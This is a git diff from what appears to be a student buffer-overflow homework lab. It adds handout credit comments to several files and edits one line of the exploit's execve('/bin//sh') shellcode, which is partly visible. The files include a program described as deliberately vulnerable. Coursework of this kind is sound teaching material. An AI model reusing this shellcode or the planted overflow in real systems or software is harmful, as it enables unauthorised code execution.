diff --git a/hw2/badfile b/hw2/badfile index fa315c7..68dbcd7 100644 Binary files a/hw2/badfile and b/hw2/badfile differ diff --git a/hw2/call_shellcode.c b/hw2/call_shellcode.c index bd777e8..87e18dc 100755 --- a/hw2/call_shellcode.c +++ b/hw2/call_shellcode.c @@ -1,3 +1,5 @@ +// Credit: given by our homework handout. + /* call_shellcode.c */ /*A program that creates a file containing code for launching shell*/ diff --git a/hw2/exploit.c b/hw2/exploit.c index 362325d..de0954c 100755 --- a/hw2/exploit.c +++ b/hw2/exploit.c @@ -1,3 +1,5 @@ +// Credit: given by our homework handout and modified, documented in lab report. + /* exploit.c */ /* A program that creates a file containing code for launching shell*/ @@ -9,7 +11,7 @@ char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ - "\x68""/zsh" /* pushl $0x68732f2f */ + "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ diff --git a/hw2/shellcode.c b/hw2/shellcode.c index 16367dc..2838bc7 100755 --- a/hw2/shellcode.c +++ b/hw2/shellcode.c @@ -1,3 +1,5 @@ +// Credit: given by our homework handout. + #include #include diff --git a/hw2/stack.c b/hw2/stack.c index dcc06d3..1dd8b6e 100755 --- a/hw2/stack.c +++ b/hw2/stack.c @@ -1,3 +1,5 @@ +// Credit: given in our homework handout. + /* stack.c */ /* This program has a buffer overflow vulnerability. */